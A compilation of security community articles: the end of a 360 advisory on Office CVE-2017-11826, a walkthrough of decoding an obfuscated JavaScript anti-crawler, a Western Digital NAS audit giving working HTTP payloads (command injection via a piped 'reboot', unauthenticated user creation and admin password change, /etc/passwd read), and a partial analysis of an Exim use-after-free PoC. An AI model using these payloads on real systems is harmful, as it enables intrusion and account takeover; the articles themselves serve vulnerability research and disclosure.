自9月下旬开始，核心安全事业部高级威胁自动化平台已能对该漏洞样本进行监控捕获。我们预计后面会有更多该漏洞的利用样本，同时也和大家一起等待它们的出现。在这里我们也建议用户下载360安全卫士，尽快更新针对该漏洞的补丁，或者通过以下链接下载微软的官方补丁并安装：
[https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11826](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11826)
**时间线：**
****
2017-09-28 360安全团队捕获该漏洞的在野攻击
2017-10-10 微软官方公布针对该漏洞的补丁
2017-10-31 360安全团队再次捕获该漏洞的在野攻击
2017-11-02 360CERT团队完成了漏洞初步分析报告
2017-11-03 360安全团队对再次捕获的漏洞样本发布初步分析
**参考链接：**
****
《CVE-2017-11826漏洞分析、利用及动态检测》<http://bobao.360.cn/learning/detail/4636.html>
《CVE–2017–11826
样本分析报告（包含补丁分析）》[http://bobao.360.cn/learning/detail/4649.html](http://bobao.360.cn/learning/detail/4649.html)
《最新Office
0day漏洞(CVE-2017-11826)在野攻击通告》[http://blogs.360.cn/blog/office_0day_cve-2017-11826_ch/](http://blogs.360.cn/blog/office_0day_cve-2017-11826_ch/)
《CVE-2017-11826 | Microsoft Office Memory Corruption
Vulnerability》[https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11826](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11826)
《Word 2007: Rich Text Format (RTF) Specification, version
1.9.1》<https://www.microsoft.com/en-us/download/details.aspx?id=10725> | 社区文章 |
> Author: ali0th
## 前言
码一下半年前的一次过反爬虫的经历，不知道这个反爬虫有没有改进了，主要还是看看思路吧:)
## 第一关：拿到javascript内容
一开始浏览器看不到反爬虫的js代码。
**难点：**
一开始打开这个网站，比较难留意到有个状态是521页面的跳转。因为这个页面一小时只出现一次，并且为1500毫秒。
**过关技巧：**
阻止cookie来获得javascript
**具体实现：**
删除cookie并阻止
查看源码
## 第二关：获得真实代码
**难点：**
将真正的代码隐藏起来，阻止了那些直接一上来就解码的人。
**过关技巧：**
找到最终输出点为eval
**具体实现：**
1）美化
使用【<http://jsbeautifier.org/】>
2）理解代码
可以看到eval是最后一步，说明这里最后是通过eval来拼接并执行程序。所以这里可以把eval改为【console.log】放到F12的console口里看一下结果。
可以看到黄色部分为运行结果，说明是二次混淆了，这个黄色部分才是真实代码。复制出来看。如下：
把头尾的东西去掉，没用的。再美化之后：
## 第三关：修正代码
**难点：**
如果你看到上面有个eval就使用第二关的方法，那就错了，这里的eval在代码中间，只是用来拼接用的。而且这里还有个故意留下的坑，就是让程序运行错误，所以这里要好好理解代码，弄懂其逻辑。
**过关技巧：**
放到IDE里梳理代码。(这里使用ecilpse)
**具体实现：**
1）代码贴到ecilpse里
使用eclipse搭建一个js的测试页面，随时用浏览器刷新查看结果。
2）理清代码总体逻辑，并去掉不重要代码
如图为整体代码的大逻辑，于是我们可以去掉不重要的代码，留下重要部分，放到eclipse里调试。
代码为：
最后的dc即输出了我们要的结果。
3）输出dc出来
在最后写上一句【console.log(dc);】然后放到F12里：
看，这就是我们得到要的结果。
但是,放在python里，这样流程走下来的结果偶尔会对，偶尔又不行了。为什么呢？还要继续深挖。
## 第四关：jsfuck
**难点：**
特殊字符
**过关技巧：**
细心
**具体分析：**
cd数组，没错我们要搞cd数组。看起来应该是jsfuck，打CTF经常会遇到。但这里的话要怎么去分解他呢？看到这个地方：
再仔细看看：`f.reverse()[[-~[]]](cd[i])`其中，reverse()是逆序的意思，可以先去掉，就剩下：`f[[-~[]]](cd[i])`
这个的形式其实就是`f[ ]( )`，就是调用上面的f函数的形式，那么最奇怪的点就在这里`[ ]`里的`[-~[]]`，它是直接用的！
于是我试着直接看它是值是什么：
它直接就是值为1的数组。那么直接看cd的值试试：
没错是一堆数组。用python看，里面是有几层数组：
为什么会这样呢？js的什么特性导致了？想了半天，想到了很多年前看到的一篇文章【<http://www.freebuf.com/sectool/5352.html】：>
好了，过了这一关，基本上算是转折点，快接近终点了。
## 第五关：列表里的列表
**难点：**
f函数逻辑。
**过关技巧：**
看懂f函数逻辑，慢慢调试才知每部分的功能。
**具体分析：**
上一关我们看到数组里面还要数组，那么我们就要看各个数组对应的是什么值。
经过调试，发现最多出现三层数组。我们分别命名为x、y、z层。其中：
> x层直接为字符串，只要拼接就行了。
>
> y1层为ascii码。
>
> y2层和z层为对应当前url的第n个字符。这就是为什么上面第三关还不算成功的原因。
再具体看一下z层，下面这个函数可以获得当前的页面的url，所以每个网站都不一样的。所以这一层个人认为是个相当棒的设计。
比如这里访问的是`http://localhost/`，那么先过滤出来`localhost/`，然后如果cd里这个z层数组值是4，那么得到的字符是`a`。所以最终，这个cd数组根据每一层的转换，就能变为：
然后拼接dc就是最终我们要的结果了啦啦啦： | 社区文章 |
# 【技术分享】动手教你来挖西部数据NAS的漏洞
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[朱老黑](http://bobao.360.cn/member/contribute?uid=24641064)
预估稿费：200RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**传送门**
[**【技术分享】看我如何黑掉西部数码的NAS设备（含演示视频）**
****](http://bobao.360.cn/learning/detail/3583.html)
**
**
**前言**
前一段时间在某平台上发现了国外安全团队爆出了西部数据NAS产品的80几个漏洞，但是并没有漏洞的详情，正好我司在用的产品中就有西部数据的NAS，于是就有了这篇文章，这里以此文章为基础，更多的人投入到智能硬件的安全研究中（其实更希望有机会和大牛们一起探讨，带我飞）。
**分析**
对于智能硬件的安全分析一般从其固件开始入手，获取固件的手段主要有以下几种
1、 官网获取
2、 智能硬件自带的固件备份功能
3、 外部能够利用的漏洞进行远程固件备份下载
4、 通过拆解设备，读取flash或者TLL连入设备进行固件提取
一些正规的厂商会把该项产品的所有固件都放到官网上供用户下载，西部数据就是其中之一，可以很轻松的从官网下载到对应设备的固件，这里我们的实验设备是西部数据My_Cloud
EX2，实际上也就是西部数据NAS产品的乞丐版。。。通过官网我下载了大部分产品的固件，发现即本一致，所以漏洞基本上是通用的。
得到了设备的固件之后也就完成了安全测试之前的准备工作，下面进行安全测试。
首先对其进行端口扫描，nmap端口扫描结果如下
对以上结果分析之后大致可以分析出以下信息。
1、 存在两个三个端口对于HTTP进行相应，分别是80、443、49152
2、 存在mysql数据库
3、 存在8181未知端口
在硬件安全研究的过程中主要以端口为出发点，现在目标已经出现，下面对固件进行分析并进行解包分析。这里我们是用的是binwalk
使用命令
binwalk My_Cloud_KC2A_2.11.157.bin
比较标准的文件，包含uboot和firmware，直接使用-eM命令进行解包，并得到其固件的系统文件
这里需要注意的是这里从固件中提取出来的文件和设备真正运行时的系统结构存在一定的差异。
在apache配置文件中我们找到了其web对应的路径，将其中的源代码拷贝出来，等待载入源代码审计工具中进行审计。
在进行审计之前先其文件和功能结构进行分析，西部数据的 web端功能由php调用系统实现，大致的结构主要如下
其中80和443端口大家应该都比较熟悉，就是http和https的区别，其对应的web文件都是一样的；49152端口对应的是两个xml文件，能够实现的功能仅仅是获取NAS设备的设备信息；8181端口则对应的是西部数据的restsdk服务，本文暂且不进行讨论。
下面我们主要对80端口的代码进行审计分析。将代码拷贝出来并载入代码分析工具，由于是PHP代码，所以审计起来比较方便，因为审计工具比较多。
下面这张图老司机们基本上一眼就能看出来我用的是什么审计工具。。。
自动审计进行大致分析之后基本上找到了很多的危险函数，在经过仔细的分析之后我们大致找到了以下漏洞。
命令执行
越权
任意文件读取
越权操作
基本上通过这一系列漏洞可以通杀大部分的漏洞设备，下面我们详细分析。
**google_analytics.php远程命令执行漏洞**
在登录系统之后客户端会不断访问服务端的这一文件，并获取相关信息。在对其进行代码分析后发现其中存在危险函数system（），并在执行时能够载入变量。
最重要的是对传入的参数没有进行过滤导致可以任意执行命令，在进行构造后我们就得到了第一个远程命令执行漏洞。
http://192.168.4.110/web/google_analytics.php
post
cmd=set&opt=pv-home | reboot |&arg=
与之相类似的以下文件同样也存在远程命令执行漏洞。
**ftp_download.php远程命令执行**
ftp_download.php这个文件时NAS产品中基于FTP产品的应用，在国外大牛对西数NAS产品进行分析时也讲到了此文件的认证绕过，居然直接把认证文件给注释掉了。。。，其中最重要的是这个文件中相对应的功能也存在一个远程命令执行漏洞，这就是无需登录，远程命令执行。下面看仔细分析。
在此文件实现对FTP任务的修改时，调用了system()函数执行系统命令，并且对用户输入的参数没有进行过滤，导致命令注入。
在了解了这一漏洞之后我们进行构造，就得到了我们第二个命令执行漏洞。。。
与之相类似的还有很多，这里并没有进行发掘。下面还有两个与和上面相不同的。
这两个文件是CGI文件，我们并没有对其进行逆向，这里只是简单地对其权限进行简单的探讨。
作为一种非常古老的web程序，被大量应用到物联网设备中，因此有很多的物联网设备的问题就是出在此处，比如很多的远程命令执行漏洞
<http://www.freebuf.com/articles/system/41479.html>
<http://www.myhack58.com/Article/html/3/62/2015/58737.htm>
这一些都是由于对CGI脚本的权限控制不当导致的命令执行，同样的这里西部数据NAS产片同样也存在这样的问题。
**account_mgr.cgi越权添加用户(无需登录)**
这个脚本是对NAS产品的账号进行控制管理，但是其对用户没有做认证，导致可以在没有登录的情况下进行密码修改，至于这里管理员账号的获取，请尝试安装西部数据的客户端，可以使用抓包软件抓取到其与api接口的请求，可以直接获取到所有的设备账号。
在抓包之后对数据包进行构造，成功添加用户。
相对应的数据包
http://192.168.4.110/cgi-bin/account_mgr.cgi
cmd=cgi_user_add&name=test123&pw=MTExMTEx&group=&first_name=111&last_name=111&pw_onoff=1&mail=111%40qq.com&expires_time=
同样的除了添加用户的功能之外，还能够实现对管理员用户密码的修改
**account_mgr.cgi越权修改管理员密码(无需登录)**
http://192.168.4.110/cgi-bin/account_mgr.cgi
cmd=cgi_modify_account&mtype=3&username=admin&first_name=111&last_name=111&pw=MTIzMTIz&old_pw=&mail=&group=&available1=0&available2=&available3=&available4=&pw_off=&oldMail=&oldName=test123&type=local&expires_time=&admin
还有一些其他的安全问题
**webfile_mgr.cgi任意文件读取导致信息泄露**
http://192.168.4.110/cgi-bin/webfile_mgr.cgi
提交参数
cmd=cgi_download&path=%2Fetc%2Fpasswd&path1=%2Fetc%2Fpasswd&name=passwd&type=MD+File&browser=f&os=W
**总结**
西部数据的这些漏洞还是比较典型的，基本主要成因还是代码的编写过则过于松懈，导致很多的漏洞出现，对于这次的NAS产品系列漏洞的产生实际上危害并没有我们想象的那么大，因为西部数据的NAS产品除了经过特殊设置，大部分只能通过同一网段进行访问，所以这就很大程度上减少了其危害程度，只是对于局域网中，这些漏洞足以致命。
欢迎各位大牛带我飞
**传送门**
* * *
[**【技术分享】看我如何黑掉西部数码的NAS设备（含演示视频）**
****](http://bobao.360.cn/learning/detail/3583.html) | 社区文章 |
**Author: Hcamael@Knownsec 404 Team**
**Chinese Version:<https://paper.seebug.org/469/>**
On Thanksgiving Day, meh submitted an Exim UAF Vulnerability on Bugzilla:
<https://bugs.exim.org/show_bug.cgi?id=2199>. But I could not use his PoC to
make a crash.
#### Vulnerability Recurrence
First is the recurrence.
##### Environment Construction
Recurrence environment: ubuntu 16.04 server
# Get source code from github
$ git clone https://github.com/Exim/exim.git# The UAF vulnerability was patched in the 4e6ae62 branch, so switch the branch to the previous 178ecb:
$ git checkout ef9da2ee969c27824fcd5aed6a59ac4cd217587b
# Install related dependencies
$ apt install libdb-dev libpcre3-dev
# Get the Makefile provided by meh, put it in the Local directory.
$ cd src
$ mkdir Local
$ cd Local
$ wget "https://bugs.exim.org/attachment.cgi?id=1051" -O Makefile
$ cd ..
# In line 134, modify the user to the present user on the server, then compile and install
$ make && make install
Then modify the 364th line of the configuration file `/etc/exim/configure` .
Modify `accept hosts = :` to `accept hosts = *`.
##### PoC Test
Get the debug information of meh from
<https://bugs.exim.org/attachment.cgi?id=1050> :
$ /usr/exim/bin/exim -bdf -d+all
There are two PoCs:
1. <https://bugs.exim.org/attachment.cgi?id=1049>
2. <https://bugs.exim.org/attachment.cgi?id=1052>
First is to install pwntools with pip. The difference between the two PoC is
that they have different length of padding.
Then I used PoC to test and found several problems:
1. My debug information is different from the one provided by meh in the last part.
2. Although crash is triggered, it is not caused by UAF
Here are the differences:
# My debug information
12:15:09 8215 SMTP>> 500 unrecognized command
12:15:09 8215 SMTP<< BDAT 1
12:15:09 8215 chunking state 1, 1 bytes
12:15:09 8215 search_tidyup called
12:15:09 8215 SMTP>> 250 1 byte chunk received
12:15:09 8215 chunking state 0
12:15:09 8215 SMTP<< BDAT
12:15:09 8215 LOG: smtp_protocol_error MAIN
12:15:09 8215 SMTP protocol error in "BDAT \177" H=(test) [10.0.6.18] missing size for BDAT command
12:15:09 8215 SMTP>> 501 missing size for BDAT command
12:15:09 8215 host in ignore_fromline_hosts? no (option unset)
12:15:09 8215 >>Headers received:
12:15:09 8215 :
...Undisplayable characters
**** debug string too long - truncated ****
12:15:09 8215
12:15:09 8215 search_tidyup called
12:15:09 8215 >>Headers after rewriting and local additions:
12:15:09 8215 :
......Undisplayable characters
**** debug string too long - truncated ****
12:15:09 8215
12:15:09 8215 Data file name: /var/spool/exim//input//1eKcjF-00028V-5Y-D
12:15:29 8215 LOG: MAIN
12:15:29 8215 SMTP connection from (test) [10.0.6.18] lost while reading message data
12:15:29 8215 SMTP>> 421 Lost incoming connection
12:15:29 8215 LOG: MAIN PANIC DIE
12:15:29 8215 internal error: store_reset(0x2443048) failed: pool=0 smtp_in.c 841
12:15:29 8215 SMTP>> 421 Unexpected failure, please try later
12:15:29 8215 LOG: MAIN PANIC DIE
12:15:29 8215 internal error: store_reset(0x2443068) failed: pool=0 smtp_in.c 841
12:15:29 8215 SMTP>> 421 Unexpected failure, please try later
12:15:29 8215 LOG: MAIN PANIC DIE
12:15:29 8215 internal error: store_reset(0x2443098) failed: pool=0 smtp_in.c 841
12:15:29 8215 SMTP>> 421 Unexpected failure, please try later
12:15:29 8215 LOG: MAIN PANIC DIE
12:15:29 8215 internal error: store_reset(0x24430c8) failed: pool=0 smtp_in.c 841
12:15:29 8215 SMTP>> 421 Unexpected failure, please try later
12:15:29 8215 LOG: MAIN PANIC DIE
12:15:29 8215 internal error: store_reset(0x24430f8) failed: pool=0 smtp_in.c 841
12:15:29 8215 SMTP>> 421 Unexpected failure, please try later
12:15:29 8215 LOG: MAIN PANIC DIE
12:15:29 8215 internal error: store_reset(0x2443128) failed: pool=0 smtp_in.c 841
12:15:29 8215 SMTP>> 421 Unexpected failure, please try later
12:15:29 8215 LOG: MAIN PANIC DIE
12:15:29 8215 internal error: store_reset(0x2443158) failed: pool=0 smtp_in.c 841
12:15:29 8215 SMTP>> 421 Unexpected failure, please try later
12:15:29 8215 LOG: MAIN PANIC DIE
12:15:29 8215 internal error: store_reset(0x2443188) failed: pool=0 smtp_in.c 841
12:16:20 8213 child 8215 ended: status=0x8b
12:16:20 8213 signal exit, signal 11 (core dumped)
12:16:20 8213 0 SMTP accept processes now running
12:16:20 8213 Listening...
-------------------------------------------- # meh's debug information
10:31:59 21724 SMTP>> 500 unrecognized command
10:31:59 21724 SMTP<< BDAT 1
10:31:59 21724 chunking state 1, 1 bytes
10:31:59 21724 search_tidyup called
10:31:59 21724 SMTP>> 250 1 byte chunk received
10:31:59 21724 chunking state 0
10:31:59 21724 SMTP<< BDAT
10:31:59 21724 LOG: smtp_protocol_error MAIN
10:31:59 21724 SMTP protocol error in "BDAT \177" H=(test) [127.0.0.1] missing size for BDAT command
10:31:59 21724 SMTP>> 501 missing size for BDAT command
10:31:59 21719 child 21724 ended: status=0x8b
10:31:59 21719 signal exit, signal 11 (core dumped)
10:31:59 21719 0 SMTP accept processes now running
10:31:59 21719 Listening...
It indeed threw an exception, but my debug information is different from
meh's. I used gdb to debug and found:
RAX 0xfbad240c
*RBX 0x30
*RCX 0xffffffffffffffd4
RDX 0x2000
*RDI 0x2b
*RSI 0x4b7e8e ?— jae 0x4b7f04 /* 'string.c' */
*R8 0x0
*R9 0x24
*R10 0x24
*R11 0x4a69e8 ?— push rbp
*R12 0x4b7e8e ?— jae 0x4b7f04 /* 'string.c' */
*R13 0x1a9
*R14 0x24431b8 ?— 0x0
*R15 0x5e
*RBP 0x2000
*RSP 0x7ffd75b862c0 —? 0x7ffd75b862d0 ?— 0xffffffffffffffff
*RIP 0x46cf1b (store_get_3+117) ?— cmp qword ptr [rax + 8], rdx
-------------- > 0x46cf1b <store_get_3+117> cmp qword ptr [rax + 8], rdx
------------ Program received signal SIGSEGV (fault address 0xfbad2414)
The crash was not caused by UAF. If the option `-d+all` of debug all is
replaced with the option `-dd` which only displays simple debug information,
then no exception will be thrown.
$ sudo ./build-Linux-x86_64/exim -bdf -dd
......
8266 Listening...
8268 Process 8268 is handling incoming connection from [10.0.6.18]
8266 child 8268 ended: status=0x0
8266 normal exit, 0
8266 0 SMTP accept processes now running
8266 Listening...
I again read meh's description on Bugzilla carefully. Maybe it was because of
the size of the padding? So I wrote the code to blast the padding at the
length from 0-0x4000 but did not find the lenth to cause a crash.
> This PoC is affected by the block layout(yield_length), so this line:
> `r.sendline('a'*0x1250+'\x7f')` should be adjusted according to the program
> state.
Therefore, it can be ruled out that the PoC test fails because of the padding
length.
And I have also found that the author of Exim also tried to test the
vulnerability, but he failed ,too. He posted his debug information which is
almost the same as mine. (I don't know if he made it after getting meh's
Makefile and log).
#### Study
The full name of UAF is use after free, so I patched a printf before it is
freed:
# src/store.c
......
448 void
449 store_release_3(void *block, const char *filename, int linenumber)
450 {
......
481 printf("--------free: %8p-------\n", (void *)bb);
482 free(bb);
483 return;
484 }
Recompile and run again, and it was triggered:
And the gdb debugging information also proves that uaf vulnerability can cause
a crash:
*RAX 0xdeadbeef
*RBX 0x1e2e5d0 ?— 0x0
*RCX 0x1e29341 ?— 0xadbeef000000000a /* '\n' */
*RDX 0x7df
*RDI 0x1e2e5d0 ?— 0x0
*RSI 0x46cedd (store_free_3+70) ?— pop rbx
*R8 0x0
R9 0x7f054f32b700 ?— 0x7f054f32b700
*R10 0xffff80fab41c4748
*R11 0x203
*R12 0x7f054dc69993 (state+3) ?— 0x0
*R13 0x4ad5b6 ?— jb 0x4ad61d /* 'receive.c' */
*R14 0x7df
*R15 0x1e1d8f0 ?— 0x0
*RBP 0x0
*RSP 0x7ffe169262b8 —? 0x7f054d9275e7 (free+247) ?— add rsp, 0x28
*RIP 0xdeadbeef
------------------------------------------ Invalid address 0xdeadbeef
PS: Here is the `./build-Linux-x86_64/exim` binary does not patch printf,
`/usr/exim/bin/exim` patches printf.
It is very strange that adding a printf can trigger the vulnerability, and
delete it can not. And i also used `puts` and `write` instead of `printf` to
test, and I found that `puts` can also trigger the vulnerability, but `write`
can't. Probably it is because of stdio's buffer mechanism.
#### In-depth study
Take a look at meh's description of the vulnerability on Bugzilla:
Hi, we found a use-after-free vulnerability which is exploitable to RCE in the SMTP server.
According to receive.c:1783,
1783 if (!store_extend(next->text, oldsize, header_size))
1784 {
1785 uschar *newtext = store_get(header_size);
1786 memcpy(newtext, next->text, ptr);
1787 store_release(next->text);
1788 next->text = newtext;
1789 }
when the buffer used to parse header is not big enough, exim tries to extend the next->text with store_extend function. If there is any other allocation between the allocation and extension of this buffer, store_extend fails.
store.c
276 if ((char *)ptr + rounded_oldsize != (char *)(next_yield[store_pool]) ||
277 inc yield_length[store_pool] + rounded_oldsize - oldsize)
278 return FALSE;
Then exim calls store_get, and store_get cut the current_block directly.
store.c
208 next_yield[store_pool] = (void *)((char *)next_yield[store_pool] + size);
209 yield_length[store_pool] -= size;
210
211 return store_last_get[store_pool];
However, in receive.c:1787, store_release frees the whole block, leaving the new pointer points to a freed location. Any further usage of this buffer leads to a use-after-free vulnerability.
To trigger this bug, BDAT command is necessary to perform an allocation by raising an error. Through our research, we confirm that this vulnerability can be exploited to remote code execution if the binary is not compiled with PIE.
An RIP controlling PoC is in attachment poc.py. The following is the gdb result of this PoC:
Program received signal SIGSEGV, Segmentation fault.
0x00000000deadbeef in ?? ()
(gdb)
------------------------------------------------------------- In receive.c, exim used receive_getc to get message.
1831 ch = (receive_getc)(GETC_BUFFER_UNLIMITED);
When exim is handling BDAT command, receive_getc is bdat_getc.
In bdat_getc, after the length of BDAT is reached, bdat_getc tries to read the next command.
smtp_in.c
536 next_cmd:
537 switch(smtp_read_command(TRUE, 1))
538 {
539 default:
540 (void) synprot_error(L_smtp_protocol_error, 503, NULL,
541 US"only BDAT permissible after non-LAST BDAT");
synprot_error may call store_get if any non-printable character exists because synprot_error uses string_printing.
string.c
304 /* Get a new block of store guaranteed big enough to hold the
305 expanded string. */
306
307 ss = store_get(length + nonprintcount * 3 + 1);
------------------------------------------------------------------ receive_getc becomes bdat_getc when handling BDAT data.
Oh, I was talking about the source code of 4.89. In the current master, it is here:
https://github.com/Exim/exim/blob/master/src/src/receive.c#L1790
What this PoC does is:
1. send unrecognized command to adjust yield_length and make it less than 0x100
2. send BDAT 1
3. send one character to reach the length of BDAT
3. send an BDAT command without size and with non-printable character -trigger synprot_error and therefore call store_get
// back to receive_msg and exim keeps trying to read header
4. send a huge message until store_extend called
5. uaf
This PoC is affected by the block layout(yield_length), so this line: `r.sendline('a'*0x1250+'\x7f')` should be adjusted according to the program state. I tested on my ubuntu 16.04, compiled with the attached Local/Makefile (simply make -j8). I also attach the updated PoC for current master and the debug report.
There is a simple heap management in Exim. In src/store.c:
void *
store_get_3(int size, const char *filename, int linenumber)
{
/* Round up the size to a multiple of the alignment. Although this looks a
messy statement, because "alignment" is a constant expression, the compiler can
do a reasonable job of optimizing, especially if the value of "alignment" is a
power of two. I checked this with -O2, and gcc did very well, compiling it to 4
instructions on a Sparc (alignment = 8). */
if (size % alignment != 0) size += alignment - (size % alignment);
/* If there isn't room in the current block, get a new one. The minimum
size is STORE_BLOCK_SIZE, and we would expect this to be the norm, since
these functions are mostly called for small amounts of store. */
if (size > yield_length[store_pool])
{
int length = (size <= STORE_BLOCK_SIZE)? STORE_BLOCK_SIZE : size;
int mlength = length + ALIGNED_SIZEOF_STOREBLOCK;
storeblock * newblock = NULL;
/* Sometimes store_reset() may leave a block for us; check if we can use it */
if ( (newblock = current_block[store_pool])
&& (newblock = newblock->next)
&& newblock->length < length
)
{
/* Give up on this block, because it's too small */
store_free(newblock);
newblock = NULL;
}
/* If there was no free block, get a new one */
if (!newblock)
{
pool_malloc += mlength; /* Used in pools */
nonpool_malloc -= mlength; /* Exclude from overall total */
newblock = store_malloc(mlength);
newblock->next = NULL;
newblock->length = length;
if (!chainbase[store_pool])
chainbase[store_pool] = newblock;
else
current_block[store_pool]->next = newblock;
}
current_block[store_pool] = newblock;
yield_length[store_pool] = newblock->length;
next_yield[store_pool] =
(void *)(CS current_block[store_pool] + ALIGNED_SIZEOF_STOREBLOCK);
(void) VALGRIND_MAKE_MEM_NOACCESS(next_yield[store_pool], yield_length[store_pool]);
}
/* There's (now) enough room in the current block; the yield is the next
pointer. */
store_last_get[store_pool] = next_yield[store_pool];
/* Cut out the debugging stuff for utilities, but stop picky compilers from
giving warnings. */
#ifdef COMPILE_UTILITY
filename = filename;
linenumber = linenumber;
#else
DEBUG(D_memory)
{
if (running_in_test_harness)
debug_printf("---%d Get %5d\n", store_pool, size);
else
debug_printf("---%d Get %6p %5d %-14s %4d\n", store_pool,
store_last_get[store_pool], size, filename, linenumber);
}
#endif /* COMPILE_UTILITY */
(void) VALGRIND_MAKE_MEM_UNDEFINED(store_last_get[store_pool], size);
/* Update next pointer and number of bytes left in the current block. */
next_yield[store_pool] = (void *)(CS next_yield[store_pool] + size);
yield_length[store_pool] -= size;
return store_last_get[store_pool];
}
BOOL
store_extend_3(void *ptr, int oldsize, int newsize, const char *filename,
int linenumber)
{
int inc = newsize - oldsize;
int rounded_oldsize = oldsize;
if (rounded_oldsize % alignment != 0)
rounded_oldsize += alignment - (rounded_oldsize % alignment);
if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) ||
inc > yield_length[store_pool] + rounded_oldsize - oldsize)
return FALSE;
/* Cut out the debugging stuff for utilities, but stop picky compilers from
giving warnings. */
#ifdef COMPILE_UTILITY
filename = filename;
linenumber = linenumber;
#else
DEBUG(D_memory)
{
if (running_in_test_harness)
debug_printf("---%d Ext %5d\n", store_pool, newsize);
else
debug_printf("---%d Ext %6p %5d %-14s %4d\n", store_pool, ptr, newsize,
filename, linenumber);
}
#endif /* COMPILE_UTILITY */
if (newsize % alignment != 0) newsize += alignment - (newsize % alignment);
next_yield[store_pool] = CS ptr + newsize;
yield_length[store_pool] -= newsize - rounded_oldsize;
(void) VALGRIND_MAKE_MEM_UNDEFINED(ptr + oldsize, inc);
return TRUE;
}
void
store_release_3(void *block, const char *filename, int linenumber)
{
storeblock *b;
/* It will never be the first block, so no need to check that. */
for (b = chainbase[store_pool]; b != NULL; b = b->next)
{
storeblock *bb = b->next;
if (bb != NULL && CS block == CS bb + ALIGNED_SIZEOF_STOREBLOCK)
{
b->next = bb->next;
pool_malloc -= bb->length + ALIGNED_SIZEOF_STOREBLOCK;
/* Cut out the debugging stuff for utilities, but stop picky compilers
from giving warnings. */
#ifdef COMPILE_UTILITY
filename = filename;
linenumber = linenumber;
#else
DEBUG(D_memory)
{
if (running_in_test_harness)
debug_printf("-Release %d\n", pool_malloc);
else
debug_printf("-Release %6p %-20s %4d %d\n", (void *)bb, filename,
linenumber, pool_malloc);
}
if (running_in_test_harness)
memset(bb, 0xF0, bb->length+ALIGNED_SIZEOF_STOREBLOCK);
#endif /* COMPILE_UTILITY */
free(bb);
return;
}
}
}
Key functions involved in UAF vulnerabilities:
* store_get_3 heap allocation
* store_extend_3 heap extension
* store_release_3 heap release
There are also 4 important global variables:
* chainbase
* next_yield
* current_block
* yield_length
###### First step
Send a bunch of unknown commands to adjust the value of `yield_length` to less
than 0x100.
`yield_length` indicates the remaining length of the heap. Use [src/receive.c]
(https://github.com/Exim/exim/blob/ef9da2ee969c27824fcd5aed6a59ac4cd217587b/src/src/receive.
c#L1617) `receive_msg` function to process the command.
When the function processes the command, use `next->text` to store the input
and initialize it on line 1709:
1625 int header_size = 256;
......
1709 next->text = store_get(header_size);
At line 1709, if `0x100 > yield_length` then the program will excute `newblock
= store_malloc(mlength);`. Use glibc's malloc to apply for a block of memory
clled heap1.
According to the code in `store_get_3`, this time:
* current_block->next = heap1 (because block==chainbase，and this means hainbase->next = heap1)
* current_block = heap1
* yield_length = 0x2000
* next_yield = heap1+0x10
* return next_yield
* next_yield = next_yield+0x100 = heap1+0x110
* yield_length = yield_length - 0x100 = 0x1f00
###### Second Step
Send `BDAT 1`, enter the `receive_msg` function, and make `receive_getc`
become `bdat_getc`.
###### Third Step
Send `BDAT \x7f`.
The `bdat_getc` function in [src/smtp_in.c]
(https://github.com/Exim/exim/blob/b488395f4d99d44a950073a64b35ec8729102782/src/src/smtp_in.c):
int
bdat_getc(unsigned lim)
{
uschar * user_msg = NULL;
uschar * log_msg;
for(;;)
{
#ifndef DISABLE_DKIM
BOOL dkim_save;
#endif
if (chunking_data_left > 0)
return lwr_receive_getc(chunking_data_left--);
receive_getc = lwr_receive_getc;
receive_getbuf = lwr_receive_getbuf;
receive_ungetc = lwr_receive_ungetc;
#ifndef DISABLE_DKIM
dkim_save = dkim_collect_input;
dkim_collect_input = FALSE;
#endif
/* Unless PIPELINING was offered, there should be no next command
until after we ack that chunk */
if (!pipelining_advertised && !check_sync())
{
unsigned n = smtp_inend - smtp_inptr;
if (n > 32) n = 32;
incomplete_transaction_log(US"sync failure");
log_write(0, LOG_MAIN|LOG_REJECT, "SMTP protocol synchronization error "
"(next input sent too soon: pipelining was not advertised): "
"rejected \"%s\" %s next input=\"%s\"%s",
smtp_cmd_buffer, host_and_ident(TRUE),
string_printing(string_copyn(smtp_inptr, n)),
smtp_inend - smtp_inptr > n ? "..." : "");
(void) synprot_error(L_smtp_protocol_error, 554, NULL,
US"SMTP synchronization error");
goto repeat_until_rset;
}
/* If not the last, ack the received chunk. The last response is delayed
until after the data ACL decides on it */
if (chunking_state == CHUNKING_LAST)
{
#ifndef DISABLE_DKIM
dkim_exim_verify_feed(NULL, 0); /* notify EOD */
#endif
return EOD;
}
smtp_printf("250 %u byte chunk received\r\n", FALSE, chunking_datasize);
chunking_state = CHUNKING_OFFERED;
DEBUG(D_receive) debug_printf("chunking state %d\n", (int)chunking_state);
/* Expect another BDAT cmd from input. RFC 3030 says nothing about
QUIT, RSET or NOOP but handling them seems obvious */
next_cmd:
switch(smtp_read_command(TRUE, 1))
{
default:
(void) synprot_error(L_smtp_protocol_error, 503, NULL,
US"only BDAT permissible after non-LAST BDAT");
repeat_until_rset:
switch(smtp_read_command(TRUE, 1))
{
case QUIT_CMD: smtp_quit_handler(&user_msg, &log_msg); /*FALLTHROUGH */
case EOF_CMD: return EOF;
case RSET_CMD: smtp_rset_handler(); return ERR;
default: if (synprot_error(L_smtp_protocol_error, 503, NULL,
US"only RSET accepted now") > 0)
return EOF;
goto repeat_until_rset;
}
case QUIT_CMD:
smtp_quit_handler(&user_msg, &log_msg);
/*FALLTHROUGH*/
case EOF_CMD:
return EOF;
case RSET_CMD:
smtp_rset_handler();
return ERR;
case NOOP_CMD:
HAD(SCH_NOOP);
smtp_printf("250 OK\r\n", FALSE);
goto next_cmd;
case BDAT_CMD:
{
int n;
if (sscanf(CS smtp_cmd_data, "%u %n", &chunking_datasize, &n) < 1)
{
(void) synprot_error(L_smtp_protocol_error, 501, NULL,
US"missing size for BDAT command");
return ERR;
}
chunking_state = strcmpic(smtp_cmd_data+n, US"LAST") == 0
? CHUNKING_LAST : CHUNKING_ACTIVE;
chunking_data_left = chunking_datasize;
DEBUG(D_receive) debug_printf("chunking state %d, %d bytes\n",
